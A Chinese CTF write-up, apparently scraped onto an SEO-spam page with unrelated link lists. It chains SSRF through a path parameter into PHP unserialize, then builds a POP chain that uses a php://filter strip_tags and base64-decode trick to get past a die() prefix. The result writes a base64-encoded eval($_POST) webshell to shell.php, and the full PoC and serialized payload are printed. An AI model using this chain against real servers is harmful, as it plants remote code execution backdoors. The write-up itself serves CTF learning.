当前位置: 首页 > wzjs >正文

政府邀请招标网站建设文件范本宁波seo公司推荐

政府邀请招标网站建设文件范本,宁波seo公司推荐,刚做的网站上线后收不到了,做app的公司有哪些打开页面是个什么Apache2的页面,先扫一扫看看有没有hint 扫一扫还是有东西 尝试访问flag.php一片空白,还有个登录页面 再看看robots.txt会有什么提示吧 继续访问看看 跳出了百度的搜索页面,可以直接搜索读取的话,再结合前面看见的…

打开页面是个什么Apache2的页面,先扫一扫看看有没有hint

 扫一扫还是有东西

尝试访问flag.php一片空白,还有个登录页面

再看看robots.txt会有什么提示吧

继续访问看看

跳出了百度的搜索页面,可以直接搜索读取的话,再结合前面看见的服务器和不安全的协议应该就是SSRF

尝试用SSRF来读取

?path=http://127.0.0.1/star1.php

读取ser.php的源码

<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {highlight_file(__FILE__);
} 
$flag='{Trump_:"fake_news!"}';class GWHT{public $hero;public function __construct(){$this->hero = new Yasuo;}public function __toString(){if (isset($this->hero)){return $this->hero->hasaki();}else{return "You don't look very happy";}}
}
class Yongen{ //flag.phppublic $file;public $text;public function __construct($file='',$text='') {$this -> file = $file;$this -> text = $text;}public function hasaki(){$d   = '<?php die("nononon");?>';$a= $d. $this->text;@file_put_contents($this-> file,$a);}
}
class Yasuo{public function hasaki(){return "I'm the best happy windy man";}
} 

这里我们可以发现是php序列化的代码,但是没有反序列化的入口 ,去看了一下wp用Arjun来扫描参数

参数是"c"

知道了参数就该开始找pop链了

同样的先找高危函数做链尾file_put_contents,可以通过函数读取文件中的flag,这里通过上传一句话木马来getshell,链尾确定

从后往前推,要触发Yongen::hasaki(),在GWHT::toString()中就直接调用了hasaki()方法

再触发toString方法,构成完整的pop链(但是这里有个疑惑点,__toString()怎么调用呢
然后参考了其他师傅的wp,结合我们暴露源码时最下面的your hat is too black!
应该是源码中反序列化点会直接输出对象,直接能触发该方法。)

逻辑如下
$c=$_GET['c']; if(isset($c)){echo $x = unserialize($c);  //echo 的时候会触发 __toString() 魔术方法}else{echo "your hat is too black!";}
GWHT::__construct()->GWHT::__toString()->Yongen::hasaki()

 关键点就是如何绕过死亡代码<?php die("nononon");?>,这个东西会拼接在我们要读取的变量里面;方法是用strip_tags绕过,死亡代码终究是一句php的标签,用strip_tags把标签去除,php://filter也支持strip_tags(string.strip.tags-------从字符串中去除HTML、PHP标签,是一个非常非常重要的函数)所以先base64编码,用string.strip_tags 将<?php?>全部删掉,再base64解码

poc

<?phpclass GWHT{public $hero;
}
class Yongen{ //flag.phppublic $file="php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";public $text="PD9waHAgQGV2YWwoJF9QT1NUW3NoZWxsXSk/Pg==";
}$a = new GWHT();
$a->hero=new Yongen();
echo serialize($a);
?>

payload

?path=http://127.0.0.1/ser.php&c=O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:71:"php://filter/string.strip_tags|convert.base64-decode/resource=shell.php";s:4:"text";s:44:"PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg==";}}

 在shell.php页面进行命令执行

http://www.dtcms.com/wzjs/395039.html

相关文章:

  • 昆明网站建设推荐seo关键词排名优化的方法
  • 郑州富士康小时工海南seo
  • 网站制作方案专业乐云seo什么叫做关键词
  • 深圳网站建设大全百度引流推广怎么收费
  • 网站关键词搜不到百度域名提交收录网址
  • 长沙专业做网站较好的公司企业营销策略分析论文
  • apache 创建网站武汉关键词seo
  • 华丽的网站模板宁德市疫情最新消息
  • 品牌网站建设磐石网络优等制作网站要多少费用
  • 网站建设维护服务协议怎样做企业推广
  • 域名备案后怎样做网站百度高级搜索首页
  • 北京市住房和城乡建设委员会网站桂林网站设计
  • 阿里巴巴网站更新怎么做2023全民核酸又开始了
  • 东莞企石网站建设河北seo
  • 毕业论文做家具网站设计要求网络营销公司业务范围
  • 职业学校网站建设方案免费建站的网站有哪些
  • 最好的网站建设推广专业搜索引擎seo技术公司
  • 教育模板网站建设seo 什么意思
  • 武汉网站建设的公司哪家好seo如何优化的
  • 做网站需要上门服务吗24小时人工在线客服
  • 广州建设网站是什么关系渠道推广平台
  • 自学做网站要学什么百度搜索关键词怎么刷上去
  • 类似于wordpress的网站爱站网关键词查询系统
  • 电脑网站拒绝连接怎么解决seo线上培训机构
  • 网站永久空间seo测试
  • 铁岭网站建设公司大连seo建站
  • 北京市住房及城乡建设部网站正规的计算机培训机构
  • 宁波微信公众号开发公司东莞市网络seo推广价格
  • 海南网站建设介绍seo网络推广技术
  • 想接做网站的单子西安网站seo工作室